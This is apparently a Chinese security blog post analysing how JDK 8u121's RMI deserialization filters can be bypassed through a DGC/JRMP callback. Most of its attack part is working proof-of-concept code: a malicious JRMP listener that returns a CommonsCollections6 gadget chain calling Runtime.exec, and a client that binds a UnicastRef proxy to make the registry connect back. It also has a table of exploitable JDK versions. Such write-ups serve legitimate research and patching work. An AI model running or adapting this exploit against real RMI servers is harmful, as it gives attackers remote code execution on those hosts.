java安全-RMI高版本绕过
环境JDK8u121
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| oracle_jdk8u121 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
openjdk_jdk8u121 https://github.com/openjdk/jdk8u/releases/tag/jdk8u121-b13 jdk8u-jdk8u121-b13.zip\jdk8u-jdk8u121-b13\jdk\src\share\classes\ 解压src.zip放入 oracle_JDKs\JDK8u121\src
commons-collections依旧 <dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
一、RMI高版本防护
jdk8u121版本,java官方对
sun/rmi/registry/RegistryImpl#registryFilter
sun/rmi/transport/DGCImpl#checkInput
这俩个类做出限制,利用白名单对反序列化时做出严格的过滤
1.RegistryImpl

此方法调用流程
1.1、挂载点
RegistryImpl 构造时
1 2 3 4 5 6 7 8
| public RegistryImpl(int port, ...) { ... LiveRef lref = new LiveRef(id, port); setup(new UnicastServerRef(lref, RegistryImpl::registryFilter)); }
|
1.2、UnicastServerRef 持有过滤器引用
1 2 3 4 5 6 7 8 9 10
| public class UnicastServerRef extends UnicastRef { private final ObjectInputFilter filter; public UnicastServerRef(LiveRef ref, ObjectInputFilter filter) { super(ref); this.filter = filter; } }
|
1.3、真正起作用:dispatch 处理请求时
当客户端连接进来,底层调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 客户端发送序列化数据 ↓ Transport.serviceCall() ↓ UnicastServerRef.dispatch() ↓ UnicastServerRef.unmarshalCustomCallData() ↓ MarshalInputStream (extends ObjectInputStream) ↓ ← 在这里设置 ObjectInputFilter! setObjectInputFilter(filter) ↓ ObjectInputStream.readObject() ↓ 每读取一个类描述符时回调 registryFilter(filterInfo) ↓ REJECTED → 抛出 InvalidClassException,中断反序列化
|
这套机制基于 JDK 9 backport 到 8u121 的 JEP 290 序列化过滤框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| private Object readObject0(boolean unshared) { ... filterCheck(resolvedClass, arrayLength); ... }
private void filterCheck(Class<?> clazz, int arrayLength) { if (serialFilter != null) { FilterInfo info = new FilterInfo(clazz, arrayLength, depth, ...); ObjectInputFilter.Status status = serialFilter.checkInput(info); if (status == REJECTED) { throw new InvalidClassException("filter status: REJECTED"); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| 客户端发送 bind(name, obj) 请求(含恶意序列化数据) │ ├─ Transport.serviceCall() 接收 TCP 数据 │ ├─ UnicastServerRef.dispatch() │ └─ marshalStream.setObjectInputFilter(RegistryImpl::registryFilter) │ ← 把 registryFilter 注入到 MarshalInputStream(ObjectInputStream子类) │ ├─ ObjectInputStream.readObject() │ ├─ readObject0() → readOrdinaryObject() │ │ ├─ readClassDesc() ← 解析类描述符(此时类已被 resolve) │ │ │ │ │ ├─ filterCheck(resolvedClass, -1) ← ★ 过滤发生在这里 ★ │ │ │ ├─ new FilterValues(clazz, -1, totalRefs, depth, bytesRead) │ │ │ ├─ registryFilter.checkInput(filterValues) │ │ │ │ ├─ clazz == CommonsCollections.InvokerTransformer ? │ │ │ │ └─ → REJECTED │ │ │ └─ throw InvalidClassException("filter status: REJECTED") │ │ │ │ │ └─ × 永远到不了这里 × desc.newInstance() / readObject() │ │ │ └─ 异常向上传播 │ └─ 客户端收到 RemoteException,攻击失败
|
2.DGCImpl

先定义方法,然后在静态代码块构造的时候传递

接下来的流程和之前一样
3.客户端-注册中心未防护
这个在jdk8u121中未进行防护
注册中心客户端侧:RegistryImpl_Stub
客户端调用 registry.lookup("xxx") 时,走的是 RegistryImpl_Stub:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public Remote lookup(String name) throws ... { ... java.io.ObjectOutput out = call.getOutputStream(); out.writeObject(name); call.executeCall(); try { java.io.ObjectInput in = call.getInputStream(); retval = (Remote) in.readObject(); } ... }
|
8u121 的 RegistryImpl_Stub 客户端侧没有加过滤器,这意味着:
1 2 3 4 5
| 受害者客户端 ↓ lookup("xxx") 恶意注册中心服务端 ↓ 返回恶意序列化对象(不是合法的 stub) 受害者客户端 readObject() → RCE
|
这个攻击路径在 8u121 依然有效,就是大名鼎鼎的 “恶意 RMI 注册中心 → 攻击客户端”
可以验证一手,这里因为时jdk8u121,所以用的CC6
二、绕过
sun/rmi/server/UnicastRef.java
UnicastRef这个类会调用executeCall方法,所以尝试让服务端去调用这个方法,然后配合我们的JRMP攻击拿下
1.入口逻辑
将传入的白名单类UnicastRef反序列化
sun/rmi/server/UnicastRef.java
1 2 3 4 5 6 7
| public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { ref = LiveRef.read(in, false); }
|
这个方法也叫做UnicastRef的readObject方法
sun/rmi/transport/LiveRef.java
这里执行了stream.saveRef(ref);
然后将将其返回, UnicastRef 反序列化结束
2.bind方法妙用
然后就是调用 bind 方法,走入
D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\sun\rmi\registry\RegistryImpl_Skel.class

接着sun/rmi/transport/StreamRemoteCall.java

sun/rmi/transport/ConnectionInputStream.java

这里便是判断我们之前的 incomingRefTable 是否为空,如果是别的类反序列化,不是 UnicastRef 的话,这里就不会赋值,也就不会发生之后的逻辑
接着走sun/rmi/transport/DGCClient.java

这里赋值,刚好用的是我们之前incomingRefTable中的键值对,然后调用DGCClient#registerRefs
sun/rmi/transport/DGCClient.javalookup

这个方法的逻辑本质上就是判断是否有键值对,如果没有就重新创建一个,这里就是创建的时候又出现问题
sun/rmi/transport/DGCClient&EndpointEntry
内部类构造方法如下

这里创建的dgc
1 2 3
| ip端口指向 127.0.0.1:1010 也就是我们最初构造的unicastserver
|
新线程的run方法会执行这个方法
接着调用
3.经典JRMP调用
这个方法会调用super.ref.invoke(var5);
这个也就是我们的sun/rmi/server/UnicastRef.java

会执行这个executeCall方法,也就是我们的JRMP攻击
三、poc
1.JRMP客户监控代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171
| package chuan.rmi;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.ServerSocket; import java.net.Socket; import java.rmi.server.UID; import java.util.HashMap; import java.util.Map;
public class SimpleJRMPListener {
public static void main(String[] args) { int port = 1010;
try { Object payload = getCC6Payload("calc");
ServerSocket ss = new ServerSocket(port); System.out.println("[+] 恶意 JRMP 服务端已启动,正在监听端口 " + port + "...");
while (true) { Socket s = ss.accept(); System.out.println("[!] 接收到来自受害者的连接: " + s.getRemoteSocketAddress());
handleConnection(s, payload); } } catch (Exception e) { e.printStackTrace(); } }
private static void handleConnection(Socket s, Object payload) { try { DataInputStream in = new DataInputStream(s.getInputStream()); DataOutputStream out = new DataOutputStream(s.getOutputStream());
int magic = in.readInt(); short version = in.readShort();
if (magic != 0x4a524d49) { System.out.println("[-] 不是合法的 JRMI 协议,断开连接。"); s.close(); return; }
byte protocol = in.readByte(); if (protocol == 0x4b) { out.writeByte(0x4e); out.writeUTF(s.getInetAddress().getHostAddress()); out.writeInt(s.getPort()); out.flush();
in.readUTF(); in.readInt(); }
int op = in.readByte();
if (op == 0x50) { System.out.println("[*] 拦截到受害者的 Call 请求,准备投毒...");
out.writeByte(0x51);
ObjectOutputStream oos = new ObjectOutputStream(out) {
@Override protected void annotateClass(Class<?> cl) throws IOException { this.writeObject(null); }
protected void annotateProxyClass(Class<?>[] interfaces) throws IOException { this.writeObject(null); } };
oos.writeByte(0x02);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null); Field valField = ex.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(ex, payload);
oos.writeObject(ex); oos.flush(); out.flush();
System.out.println("[+] 投毒完成!受害者如果存在反序列化漏洞,即将触发 RCE!\n"); } s.close(); } catch (Exception e) { System.out.println("[-] 连接处理异常断开。"); } }
private static Object getCC6Payload(String command) throws Exception { Class r = Runtime.class; Transformer chaun0 = new ConstantTransformer(r); Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}); Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] chuan = {chaun0,chuan1,chuan2,chuan3,new ConstantTransformer(1)}; Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chuanTransformer = new ChainedTransformer(chuan0000);
HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map,chuanTransformer); TiedMapEntry foo = new TiedMapEntry(lazyMap, "aaa"); HashMap obj2 = new HashMap(); obj2.put(foo, "bar");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chuanTransformer, chuan);
map.remove("aaa");
return obj2;
} }
|
2.客户端代码
1 2 3 4 5 6 7 8 9 10 11 12
| public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException { RemoteObj remoteObj = new RemoteObjImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("remoteObj", remoteObj);
} }
|
3.客户端恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class JRMPAttackClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1010); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); Remote payload = (Remote) Proxy.newProxyInstance( JRMPAttackClient.class.getClassLoader(), new Class[]{ Remote.class }, handler ); try { registry.bind("evil", payload); } catch (Exception e) { System.out.println("异常正常,payload 已发出: " + e.getMessage()); } } }
|
四、总结
1.利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| 攻击者 registry.bind("evil", payload) ↓ 服务端 RegistryImpl_Skel.dispatch() ↓ ObjectInputStream = ConnectionInputStream ↓ LiveRef.read() in instanceof ConnectionInputStream → true stream.saveRef(ref) ← 先收集,不立刻触发 ↓ Skel 业务逻辑执行完毕 ↓ StreamRemoteCall.releaseInputStream() ← 清理资源时触发 ↓ ConnectionInputStream.registerRefs() incomingRefTable 不为空 → 走下去 ↓ DGCClient.registerRefs() ↓ EndpointEntry 构造方法 创建指向 127.0.0.1:1010 的 dgc stub 新线程 run() ↓ makeDirtyCall() ↓ UnicastRef.invoke() → executeCall() ↓ ExceptionalReturn + CC6 Gadget ↓ 💥 RCE
|
checkInput 保护的是:
1 2 3 4 5 6 7
| 外部 → 服务器的 DGC 服务端入口 ✅
这次攻击走的是: 服务器的 DGC 客户端 → 外部 ❌ 完全不受 checkInput 约束
服务器在这里角色反转,它是 DGC 客户端!
|
2.版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 版本 针对这条攻击链的实际效果 ──────────────────────────────────────────────────────── 8u121 之前 无任何防护,完全可打
8u121 只加了 DGC 服务端 checkInput → 防的是别人打服务端 → 这条攻击走 DGC 客户端侧 → 完全无效,照样可打
8u141 加了 Registry 服务端 registryFilter → bind() "限制本地" → 但先反序列化后检查,毫无意义 → 完全无效,照样可打
8u231/8u232 仍然无效,照样可打
8u241 DGC 客户端侧终于加了过滤器 executeCall() 读响应时有了保护 → 这条攻击链才真正被堵死 → ❌ 打不了 ────────────────────────────────────────────────────────
|
